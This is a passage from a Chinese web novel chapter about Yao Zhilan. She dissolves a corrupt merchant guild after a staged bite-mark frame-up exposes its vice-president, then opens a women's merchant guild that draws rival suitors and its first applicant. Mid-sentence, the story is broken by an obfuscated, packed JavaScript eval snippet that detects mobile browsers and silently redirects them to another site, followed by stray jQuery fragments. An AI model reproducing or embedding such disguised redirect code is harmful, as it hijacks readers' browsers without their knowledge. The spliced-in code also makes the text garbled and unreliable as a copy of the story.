姚芷兰盯着常瑞,“你可曾看清他们老大的长相?”
桂花摇了摇头:“他带着面具,看不清长相,他想来扒我的衣服,我不从,就咬了他一口,他就发了疯似地打我。”
似想到了什么,桂花拔高声音,激动不已,“我在他手臂上深深地咬了一口,当时就流血了,现在应该还有印子。”
姚芷兰笑着对常瑞道:“劳烦常副会长将袖子挽起,以证清白。”
常瑞看着她讽刺的笑容,惊惧牵扯着脊背都在颤抖,他死死地按住自己的右臂,胡乱地否认。
“不是我,不是我,一个乡野村姑的话怎么能信?”
姚芷兰也不与他废话,吩咐两个小厮按住常瑞,强行将他的袖子掀开,露出右臂上暗黑发紫的牙印。
“常副会长现在还有什么要说的吗?”
常瑞似乎被一下子抽干了全身力气,瘫倒在桌上,如一条咸鱼。
一时间,商会元老们叫骂不断,言辞之污秽,比那市井泼妇尤甚。
“既然如今证据确凿,那我就说说这最后一件事。”
“如今的龙星商会早已满目疮痍,常瑞的事情肯定不是第一件,也不会是最后一件。”
“与其最后大家一起阴沟里翻船,不如就此解散商会,各自管好自己的生意,免得最后出了事才发现自己是无故被牵连的那个。”
原本喧闹嘈杂的声音,一瞬间熄灭。
现场落针可闻。
不止是谁带头喊了句“我同意”,之后络绎不绝的同意之声,此起彼伏。
姚顺低着头,捏紧了拳头,眼看着大势已去,心中同样一片灰败。
他没能完成上面的交代,不仅没有夺下商会,还让姚芷兰把商会解散了,他的下场不会比常瑞好到哪去。
姚芷兰看着混在其中的姚靖宁和裴绪安,点了点头。
她这个三妹夫确实有点本事。
其实桂花根本没有咬常瑞,她甚至没见过常瑞。
常瑞右臂上的牙印是裴绪安找了个小乞丐去咬的。
刚才带头起哄的也是裴绪安,不然事情不会如此顺利。
甚至,这出栽赃陷害的戏码也是他想的。
这样的人才,幸好当了姚家的女婿,不然当真是防不胜防。
善后之事她交给了姚靖宁和裴绪安。
店铺交割,股权转让,契约回收,都是麻烦且琐碎的事情,正好让小两口历练历练。
他们也没让姚芷兰失望,三日后便抱着大堆大堆的账本合约找了过来。
“大姐,这擦屁股的事情以后别喊我了,要多麻烦有多麻烦,如果不是裴绪安劝着,我高低要把这些老油条揍得满地找牙!”
姚芷兰亲自给二人斟茶倒水。
“辛苦宁宁,也辛苦妹夫了。”她翻看了几下账本合约,真心夸赞道:“没想到还能收回这么多欠款,你们没少下功夫吧?”
姚靖宁大力一拍身边的裴绪安,“这次都是他的功劳,本来欠账都是烂了的,可没想到他三言两语就把钱要了回来,这次我可真是学到了。”学到了如何威逼利诱,学到了如何祸水东引。
姚芷兰经过了这段时间的相处,已经知道裴绪安的厉害,她甚至隐隐担忧如果哪天裴绪安要走,姚家也是拦不住的。
裴绪安还是那副淡然的君子模样,微笑着应对。
“我不过是年少时走南闯北,见识多了人性的复杂,知道他们怕什么罢了。”
姚靖宁最是见不得他这种堪比炫耀的谦虚,又是一巴掌,拍得裴绪安一个前倾,“虚伪!”
而裴绪安还是温柔的笑着,并未反驳。
姚芷兰看着二人之间的互动,稍微安心,看来这裴绪安是喜欢宁宁的,那这样就好办了。
“我打算将你们要回来的欠款,新建一个女子商会,只允许女商人加入,同时在商会里建造女工房舍,供她们居住。”
前几日萧策解救的少女们都还住在姚家,并非长久之计,得给她们找活计,教她们安身立命的本事,这样她们才能靠自己活下去。
姚靖宁一听眼睛都亮了,“大姐好主意,这样我就再也不用跟那群油腻猥琐的老男人打交道了。”
她真的受够了,那群男人不仅贪婪还丑陋,也就裴绪安能够忍受。
裴绪安也由衷赞叹:“大姐心地善良,甘愿为这群女子奔走,实在令人敬佩。”
姚芷兰有些不好意思,“女子在这个世道存活,本就比男子难上数百倍,那些失去亲人家族的女子,更是难以活下去,我不过是拉她们一把,以后的路还是得靠她们自己走。”
裴绪安再一次感叹,姚家叔婶真是将这三个女儿教养得极好。
难怪小安从小就想入赘姚家。
……
姚芷兰的行动力一向强悍。
她盘下了一个经营不善的三层酒楼,将厢房改成了通铺,尽可能的多睡些人。
一楼的大厅直接改成会议厅,后厨保留,供女子们自行做饭。
很快,三日后,她的女子商会便正式挂上牌匾。
——红袖女子商会。
鞭炮铜锣响了一整个白日,她特地拉起了横幅,邀请所有经商的女子加入。
可一连三日门可罗雀,竟是看不到一个女子的身影。
跨进商会的第一个人,反而是她最不想见的那个人。
萧策拿着一个锦盒来到她面前坐下。
“前几日去渝州办事,错过了你的商会开幕,今日特地带了礼物前来,祝小姐得偿所愿。”
所谓伸手不打笑脸人,虽然萧策没笑,但他带了礼物。
姚芷兰打开锦盒一看,是一柄通体莹白的玉如意,一看就是上好的和田玉,价格不菲。
“多谢王爷厚礼,我一定将它放在最显眼的地方。”她也没笑,学着他的语气道。
萧策嘴唇轻勾,好像自从那日后,姚芷兰对他的态度就变了,说不上好坏,但就是觉得亲近了一些,不再拒他于千里之外。
有了这个认知,萧策无比开怀,好似在一场角力中,彩头终于慢慢偏向了自己这边。
只是他还没加大这个笑容,就看到魏时晏也带着礼物出现在了面前。
他嘴上那点笑意彻底消散,这个人真是阴魂不散。
魏时晏看着端坐在桌前的萧策暗暗咬牙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446006|185104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他本来早就可以前来拜贺,就因他一句话,他也跟着被带到渝州公干了。
好不容易回来京城,又被他的副将蒋飞绊住交接公务,一直到刚刚才忙完。
果然就看到萧策捷足先登,出现在了这里。
他淡淡道:“王爷,没想到你也在这里。”算是打过招呼。
随后一脸笑意的对着姚芷兰道:“恭喜姚小姐成立女子商会,能够将女子团结在一处,是大雍女子的福气。”
姚芷兰笑得如铃兰轻晃,“多谢魏大人,请坐。”
她亲自斟茶,递给了魏时晏。
萧策看着她对着别的男人笑靥如花,那股阴暗的情绪又翻了上来。
魏时晏将手中的锦盒打开推向了她,“这是在下亲自所书,希望姚小姐不要嫌弃。”
姚芷兰将卷轴打开,看着上面“巾帼不让须眉”笑开了眉眼。
“大人费心了,我等会就将字画挂上。”
萧策看着二人,十分想把魏时晏连人带礼物扔出去。
“魏大人很闲吗?”
“王爷日理万机,在下自然是比王爷闲一些。”
“看来巡防营是时候操练一番了。”
就在气氛陷入僵局时,一道女声打断了他们。
“请问,有人吗?”
姚芷兰连忙将人迎了过来,她看女子梳的妇人髻,“夫人是想加入商会吗?”
女子点了点头,“我叫许七娘,家中经营着一家饭馆,父母走了多年,这些年族里想方设法要将铺子收去,我没了办法只有自梳,立志终生不嫁。”
“可他们还是不放过我,说我跟店里的掌柜不清不楚,怕许家的铺子留给了外姓人,天天找人上门来闹,眼看着生意大不如前,我实在是不知道如何是好了。”
“我听隔壁炙鱼铺的老板娘说她东家最近成立了女子商会,让我来试试,寻求庇护。”说着便将铺子的房契地契全都递给了姚芷兰。
姚芷兰看着桌上的契约,问道:“你也想我入股你的铺子?”
许七娘点点头,“如果东家能够入股,那族里也会看着东家的面子不敢再来收回铺子,毕竟铺子已经不是我一个人的了。”
姚芷兰很欣赏许七娘的魄力与聪慧,但她一惯谨慎。
“你铺子的招牌菜是什么?”
许七娘有点难以启齿,“都是些普通的家常菜...”
姚芷兰察觉到了什么,“是不是也是鱼。”
许七娘震惊抬头,“东家怎么知道的?”
“既然炙鱼铺开在你家旁边,那招牌菜肯定是有所关联,食铺便是如此,常同类相争,但我没想到你和老板娘之间的关系会不错。”
许七娘佩服的看着姚芷兰,“同为单身女子经商,互相帮扶是应该的,我们常常互相引流,就是不想把生意做绝了。”
姚芷兰十分欣慰,“合该如此,我办这个女子商会的本意,也是想将京城的女商人团结起来,让男人不敢轻易欺辱我们。”
许七娘激动追问:“那东家你看我这铺子...”
姚芷兰打断了她,“但你不能再做鱼,你可以接受吗?”